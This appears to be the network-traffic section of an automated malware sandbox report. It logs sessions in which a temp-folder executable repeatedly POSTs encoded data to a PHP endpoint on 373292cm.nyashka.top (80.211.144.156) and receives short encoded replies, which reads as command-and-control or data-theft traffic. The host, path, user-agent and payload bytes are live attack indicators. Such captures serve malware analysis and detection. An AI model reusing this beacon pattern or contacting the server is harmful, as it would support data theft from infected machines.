Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49823	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:46.244803905 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:46.602737904 CEST	2576	OUT	Data Raw: 5a 52 59 50 54 45 54 5d 5b 5f 5a 51 59 52 58 55 57 5c 5d 5d 57 5b 53 5c 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZRYPTET][_ZQYRXUW\]]W[S\YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.],#A670*=++.9+7Y7<#,Q<#>,.&F$.Y/1
Aug 26, 2024 20:17:46.920448065 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:47.050575972 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:45 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.4	49824	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:47.449281931 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:47.806664944 CEST	2568	OUT	Data Raw: 5f 51 59 53 54 49 51 5e 5b 5f 5a 51 59 57 58 50 57 50 5d 5b 57 59 53 59 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _QYSTIQ^[_ZQYWXPWP][WYSYYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^./00"=; 5(>-)+['Y4?+V "/*4# 98>&F$.Y/
Aug 26, 2024 20:17:48.179915905 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:48.340100050 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49825	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:48.465832949 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:48.821378946 CEST	2576	OUT	Data Raw: 5f 55 5c 51 54 42 54 5c 5b 5f 5a 51 59 55 58 52 57 5f 5d 53 57 51 53 5b 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _U\QTBT\[_ZQYUXRW_]SWQS[YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^./03"- 4>>4_?=Z?+]"?3V42#** ##9_..&F$.Y/-
Aug 26, 2024 20:17:49.154072046 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:49.284461975 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:48 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49826	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:49.422882080 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:49.774651051 CEST	2576	OUT	Data Raw: 5f 57 5c 5f 51 47 54 59 5b 5f 5a 51 59 51 58 51 57 5a 5d 52 57 5a 53 54 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _W\_QGTY[_ZQYQXQWZ]RWZSTYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-8("[<7 >- X>.=?8#,4#?*+7],>&F$.Y/=
Aug 26, 2024 20:17:50.094559908 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:50.295452118 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.4	49827	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:50.738976955 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	49828	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:51.055854082 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2036 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:51.415224075 CEST	2036	OUT	Data Raw: 5a 56 5c 55 54 47 54 5b 5b 5f 5a 51 59 50 58 51 57 5d 5d 5a 57 5a 53 5f 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZV\UTGT[[_ZQYPXQW]]ZWZS_YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-8!= Y##"><<.5_+[?Y7<!1<*:87 8&F$.Y/
Aug 26, 2024 20:17:51.713380098 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:51.850181103 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0f 3e 1b 31 04 26 15 0e 19 33 0a 3a 1d 29 3e 28 00 29 5b 35 17 25 28 2a 04 26 00 3c 57 26 3b 3d 5d 28 3d 32 14 25 3c 33 10 2c 34 2b 5d 0c 13 21 01 21 2a 26 11 25 3c 27 00 2a 06 23 5a 20 2f 3e 11 3f 14 25 18 3f 2f 33 01 3c 3a 3f 5b 2b 14 36 1f 2c 16 22 04 2e 23 3a 13 22 3e 2b 52 0d 11 24 1e 2b 3e 2d 1f 3d 2d 24 05 21 2b 2c 02 33 3e 32 55 26 31 39 0c 27 3a 24 59 25 31 2a 0d 24 1f 29 12 31 3b 0c 5b 31 3f 2a 09 35 22 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %>1&3:)>()[5%(&<W&;=](=2%<3,4+]!!&%<'#Z />?%?/3<:?[+6,".#:">+R$+>-=-$!+,3>2U&19':$Y%1$)1;[1?*5"#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	49829	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:51.188080072 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:51.540282965 CEST	2576	OUT	Data Raw: 5f 56 59 53 54 46 51 59 5b 5f 5a 51 59 50 58 5e 57 58 5d 59 57 58 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: _VYSTFQY[_ZQYPX^WX]YWXSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^./3$6>7#5(_<<=#\7< <(( 5..&F$.Y/
Aug 26, 2024 20:17:51.880815983 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:52.140410900 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[
Aug 26, 2024 20:17:52.140511990 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	49830	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:52.261343002 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
Aug 26, 2024 20:17:52.618626118 CEST	2576	OUT	Data Raw: 5a 52 5c 51 54 46 54 5e 5b 5f 5a 51 59 5e 58 53 57 51 5d 53 57 5a 53 5c 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZR\QTFT^[_ZQY^XSWQ]SWZS\YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.8;@!- #V:)4X<.-]+=47442#(71\/.&F$.Y/
Aug 26, 2024 20:17:52.948497057 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:53.143255949 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:52 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	49831	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:53.499492884 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:53.852819920 CEST	2576	OUT	Data Raw: 5a 51 5c 57 54 46 54 5c 5b 5f 5a 51 59 54 58 5f 57 50 5d 5f 57 58 53 5b 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZQ\WTFT\[_ZQYTX_WP]_WXS[YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^-.##A5[8X7 9[>='<X5^?=8 $ 1+<8#>,&F$.Y/)
Aug 26, 2024 20:17:54.185781956 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:54.320156097 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49832	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:54.447577000 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:54.805737019 CEST	2576	OUT	Data Raw: 5a 50 59 55 54 47 54 59 5b 5f 5a 51 59 50 58 55 57 58 5d 59 57 5e 53 5f 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZPYUTGTY[_ZQYPXUWX]YW^S_YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.^;#/5>;736*>??>5\? /Q728<$7 5_/.&F$.Y/
Aug 26, 2024 20:17:55.117854118 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:55.246995926 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:54 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49833	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:55.371833086 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:55.735589981 CEST	2576	OUT	Data Raw: 5a 55 5c 50 54 43 54 59 5b 5f 5a 51 59 5f 58 5e 57 5a 5d 5b 57 5d 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZU\PTCTY[_ZQY_X^WZ][W]SZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.80?A"<_##%X*-0+>+.8",/R!2<(9?]75/.&F$.Y/
Aug 26, 2024 20:17:56.183374882 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:56.302623034 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:55 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	49834	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:56.445411921 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:56.790200949 CEST	2576	OUT	Data Raw: 5a 57 5c 51 54 40 54 5f 5b 5f 5a 51 59 55 58 52 57 5f 5d 5d 57 51 53 5a 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZW\QT@T_[_ZQYUXRW_]]WQSZYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.\//#> 40"+-4X<:<=# 1;+3\ 0Y8>&F$.Y/-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	49835	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:56.859343052 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2060 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:57.211958885 CEST	2060	OUT	Data Raw: 5a 55 5c 51 51 45 54 58 5b 5f 5a 51 59 55 58 55 57 58 5d 52 57 5b 53 59 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZU\QQETX[_ZQYUXUWX]RW[SYYY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X,/!-3 V*>3<>&([47? #W +)']# 6/.&F$.Y/-
Aug 26, 2024 20:17:57.580034018 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:57.700284958 CEST	308	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 09 1d 25 0e 29 25 22 1f 31 02 24 53 27 20 3a 54 2a 04 20 00 29 2d 26 05 24 28 29 5d 26 10 20 57 30 5d 2a 01 3f 58 32 1a 31 06 2c 03 2e 24 2b 5d 0c 13 21 05 23 03 29 05 32 05 2f 01 3e 28 34 03 36 12 07 02 28 14 21 53 3c 3f 3c 5a 2b 2a 27 13 2a 39 29 0e 3b 28 07 5e 2e 20 29 09 34 14 2b 52 0d 11 27 0f 3f 03 22 0a 3e 10 27 5d 21 38 3c 07 26 2d 21 0e 31 32 32 55 24 17 3c 5a 26 1c 29 50 33 32 25 1d 26 3b 25 03 26 3f 22 0f 21 32 23 54 2c 00 22 57 01 33 55 56 Data Ascii: %)%"1$S' :T* )-&$()]& W0]?X21,.$+]!#)2/>(46(!S<?<Z+'*9);(^. )4+R'?">']!8<&-!122U$<Z&)P32%&;%&?"!2#T,"W3UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	49836	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:56.987881899 CEST	346	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Aug 26, 2024 20:17:57.336888075 CEST	2576	OUT	Data Raw: 5a 57 5c 53 54 48 51 5d 5b 5f 5a 51 59 5e 58 54 57 5a 5d 5a 57 5a 53 5c 59 59 5f 59 5b 5f 5a 53 5a 5a 52 5a 55 5f 50 54 58 5e 5c 5d 50 52 54 5a 5f 5b 58 5c 5d 5b 50 5d 58 5d 56 50 52 5d 55 58 5c 5d 59 5b 50 5f 57 51 42 5e 5a 5b 42 58 58 5c 56 5b Data Ascii: ZW\STHQ][_ZQY^XTWZ]ZWZS\YY_Y[_ZSZZRZU_PTX^\]PRTZ_[X\][P]X]VPR]UX\]Y[P_WQB^Z[BXX\V[TWRY_ZSTPP^\QQ[Q[SP\^RTSDX_TYY_Z]PXV]QZ]Z\[TFP\SZV]YQY[XZV_HYZV^[^T^V]Y^B_Q][WBSX[]_XRZYR_[^YRCZ\Z_W^^.X.0 ". =X*= Y+]( '4"<W<9Y"06/&F$.Y/
Aug 26, 2024 20:17:57.672715902 CEST	25	IN	HTTP/1.1 100 Continue
Aug 26, 2024 20:17:57.891968966 CEST	158	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 26 Aug 2024 18:17:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 3b 55 5f 5b Data Ascii: ;U_[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49837	80.211.144.156	80	8040	C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\gNKaMdWfDFzDkhEeKzQ.exe

Timestamp	Bytes transferred	Direction	Data
Aug 26, 2024 20:17:58.010560989 CEST	322	OUT	POST /JavascriptSecureSqlLocalTemporary.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 373292cm.nyashka.top Content-Length: 2576 Expect: 100-continue
